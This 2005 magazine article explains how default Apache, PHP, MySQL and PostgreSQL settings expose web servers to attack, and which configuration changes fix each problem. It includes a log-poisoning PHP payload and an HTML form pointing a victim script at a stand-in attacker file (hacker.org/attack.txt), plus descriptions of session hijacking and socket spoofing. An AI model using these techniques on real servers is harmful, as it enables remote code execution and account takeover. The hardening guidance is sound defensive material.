Cover V14, i01

Article
Table 1

jan2005.tar

Insecure by Default

Lukasz Wojtow

It seems so easy -- download Apache, throw PHP together with some database, and you have a new server for dynamic Web pages. It's true; building Web servers has never been easier or cheaper. The price paid for ease of use and installation, however, is loose configuration -- designed not to create problems on startup but not to be the most secure. This article describes how configuring MySQL, PostgreSQL, PHP, and Apache with their default settings can lead to security breaks. Some of the issues covered can be applied only to shared hosting, where an attacker owns a virtual host and has unprivileged, local access to the system.

The software described in this article is Apache (v1.3.31), PHP (v4.3.8), MySQL (v4.0.20), and PostgreSQL (v7.4.5). All components are installed from source with default options; PHP is installed as a DSO module, and Linux 2.6 is used as an operating system.

A main worry for Web administrators is so-called "remote code inclusion". When this happens, attackers can include any code and execute it in the server context. The consequences are endless, and unrestricted viewing of scripts' variables (like password to database) is one of the least dangerous. Exploiting remote code inclusion can take two forms:

  • Including truly remote files through HTTP/FTP protocol.
  • Including local files with content controlled by a remote attacker.

The first attack is possible because of the most often abused PHP option, allow_url_fopen, which according to the configuration file (usually /usr/local/lib/php.ini) is switched "On" by default. This option allows the inclusion and execution of remote files as if they were local -- a favorite technique of attackers. Very few sites really need this possibility, so switching it "Off" worldwide and switching it "On" only in cases where it's really needed is a good idea. The second approach is used when a script checks for a file's existence (function file_exists() does not work for remote files in PHP 4.x) and then includes it. Webmasters often forget that attackers have influence over at least one local file -- the server log.

Appending the argument ?dummy='<?php;phpinfo();?>' to the URL places PHP code in the access_log. After including the access_log file in another request, the phpinfo() function will be executed. The server's log path is not an issue here because one of symbolic links in /proc/self/fd/ points to the correct file. This capability exists because of the server logs' default permissions -- they are world-readable:

lw@lw:~$ ls -l /usr/local/apache/logs/*
-rw-r--r--  1 root root  8186 2004-10-03 16:43 \
  /usr/local/apache/logs/access_log
-rw-r--r--  1 root root 12613 2004-10-03 16:43 \
  /usr/local/apache/logs/error_log
This should be changed immediately after installation not only to stop the described attack technique, but as a protection against brain-dead scripts that pass confidential data in GET arguments.

When it comes to exploiting remote inclusions, attackers usually change the URL in a browser's address bar. This approach is fast and convenient but has one huge drawback -- it is logged. To hide suspected parameters, attackers take advantage of two PHP settings: option "register_globals", which for compatibility reasons is usually turned "On" after installation (88% of servers); and option "gpc_order" (or "variables_order" in newer versions). The former makes all variables available to a PHP script as "$option_name", and the latter sets the overriding order for variables with the same name (including GET, POST, COOKIE, etc.).

With the default value of "GPC", GET variables will be overridden by POST and then by COOKIE. So, if a script receives a variable of the same name twice -- once as GET, and once as a cookie -- the variable will be set on the value from the cookie. That is, if an attacker wants to set script's argument "file" on his file, the GET argument should remain unchanged (say "offer.html"), but the cookie should contain a reference to the attacker's file. This way, the attack will be logged like other legitimate visits and the administrator will have no chance to spot it. If the script accepts POST data, including the value in a form can also be used:

<form method="post" action=http://victim.com/show.php?file=offer.html>
<input type="text" name="file" value="http://hacker.org/attack.txt">
<input type="submit">
</form>
Changing the "gpc_order" value on "CPG" will not stop attackers, but at least the systems administrator will be able to see that something is wrong (like finding a script that is always called with the include= argument being called without it).

It would be naive to think that PHP does not provide any configuration options to make it secure in multi-homed environments. And, indeed, there is a set of file system limitations called "safe mode". This feature has had some security problems but is designed for ISP servers and definitely should be turned on. It is disabled by 79% of servers (see Table 1).

Running PHP with safe mode and CGI scripts with Apache-supported suExec (which changes process uid before executing CGI) seems to provide good protection against the abuse of Web server privileges. Unfortunately, it is not perfect under the default configuration. When safe mode is enabled and suExec deployed, *.php files are not world readable, they belong to their users and some special group in order to enable Apache processes to read them. But, the option "FollowSymlinks" in httpd.conf provides an opening for attackers.

Using a CGI script, an attacker can create a symlink (with extension .txt) pointing to any file in any other domain. If the symlink is requested by the attacker, the pointed file will be displayed. The simplest way to fix this is by enabling the option "SymlinksIfOwnerMatch" in the configuration file.

One of the most common tasks for PHP scripts is authenticating users. This is usually done by PHP's built-in "sessions" feature. For example, a logging script checks the username and password and, if they match, sets the variable "logged" to "true". All other scripts in this domain will then receive this variable and grant access to the user:

<?php
    if($_SESSION['logged']==true)
        // user already logged in
        ...
    else
        // user not logged in
        ...
?>
This seems secure, because users cannot set session variables remotely, but a problem arises on shared hosting. Sessions files for all virtual servers reside in one location -- by default, the /tmp directory (on 86% of servers). This way, the PHP engine has no way of distinguishing which virtual server started a particular session.

If an attacker knows the name of the checked variable ("logged" in previous example), then this variable can be set by his domain hosted on the server. Appending PHPSESSID from the attacker's domain in requests to the victim's domain will result in bypassed authentication. One solution is to set a different session.save_path for each virtual server.

Because the /tmp directory is world-readable, however, keeping session files there results in another problem. Even if every single script checks the username and the password, authentication still can be bypassed:

<?php
include('functions.inc.php');
    if(password_correct($_SESSION['user'],$_SESSION['password'])
        // password correct
        ...
    else
        // password incorrect
        ...
?>
An attacker can list files in the /tmp directory from time to time and look for new sessions being created. One of them will surely belong to a user freshly logged into the victim's site. Session files are named after their ids, so listing files gives the attacker everything necessary to hijack the session. In my view, it is bizarre to keep these files in a directory like /tmp where everybody with local access can see them.

Sharing this directory is generally a bad idea, but there is yet another problem with it. By default, MySQL and PostreSQL use this directory for their sockets, and every PHP script connects to the database through them. PHP has no way to find out whether sockets were actually created by database daemons. Because the /tmp directory is world-writable, they could be created by anyone. That means that scripts can give away passwords or display Web pages with data taken from a fake database.

If an attacker manages to create his own sockets, the consequences can be serious, so sockets should be kept somewhere else. To avoid this potential attack, a few steps must be taken. First, two directories must be created -- one for MySQL socket, and one for PostgreSQL. Neither directory should be world writable. Second, software must be informed to use these directories.

In MySQL's config file (/etc/my.cnf), the option "socket" must be changed (in both sections -- [client] and [server]). To inform PHP about the changed option "mysql.default_socket", the PHP config must be updated. Unfortunately, the PostgreSQL case is a bit more complicated. The simplest way to change the default socket directory is to alter the definition DEFAULT_PGSOCKET_DIR in PostgreSQL sources in file src/include/pg_config_manual.h (about line 168), then rebuild and reinstall the database.

Other database options can also cause problems. It is well known that connecting to a database is a time-consuming task. To speed up this process, persistent connections are used. After persistent connections are established, all details are kept by the PHP engine between requests to a particular Apache child process. If a script wants to connect to the database again, it receives the connection that was established the last time.

A problem arises because of the way Unix-like systems treat file descriptors. First, they are inherited after executing a new program; second, they are represented by integer numbers in a process. Neither MySQL's nor PostgreSQL's client sockets are marked as close-on-exec, which means they can be inherited by any program executed by an Apache child process. All an attacker has to do is upload a malicious script on the server and keep making request to it through http protocol. If a request is accepted by a child process that previously had established persistent connections for other domains, the attacker will get access to these databases. Details about this attack with a sample program for MySQL (PostgreSQL is also affected) are available from: http://bugs.mysql.com (bug id 3779). This attack is possible only when persistent connections are allowed, that is about 66% of servers.

Persistent connections are entirely PHP's responsibility and can be switched off by setting the options "mysql.allow_persistent" and "pgsql.allow_persistent" to "Off" in PHP's config file.

I hope this article will be useful as a post-installation checklist. As I've shown, the default configuration of software is not always secure. But, these problems can often be solved by choosing the proper options in configuration files. Open source software is popular for its low cost, robustness, and ease of use. The only thing remaining is to tighten its security for your specific needs.

Resources

Apache Web server -- http://www.apache.org

PHP server-side language -- http://www.php.net

MySQL database -- http://www.mysql.com

PostgreSQL database -- http://www.postgresql.org

Close-on-exec MySQL discussion -- http://bugs.mysql.com/bug.php?id=3779

Vinesys security survey -- http://www.vinesys.net/surveys/ibd.html

Lukasz Wojtow has a BSc in Computer Science from The College of Management and Public Administration, Zamosc, Poland and is starting his Masters in London next year. His main interests are security and programming, and in his free time he enjoys walks in Hyde Park and flies F16 (simulator only). He can be reached at: lw@wszia.edu.pl.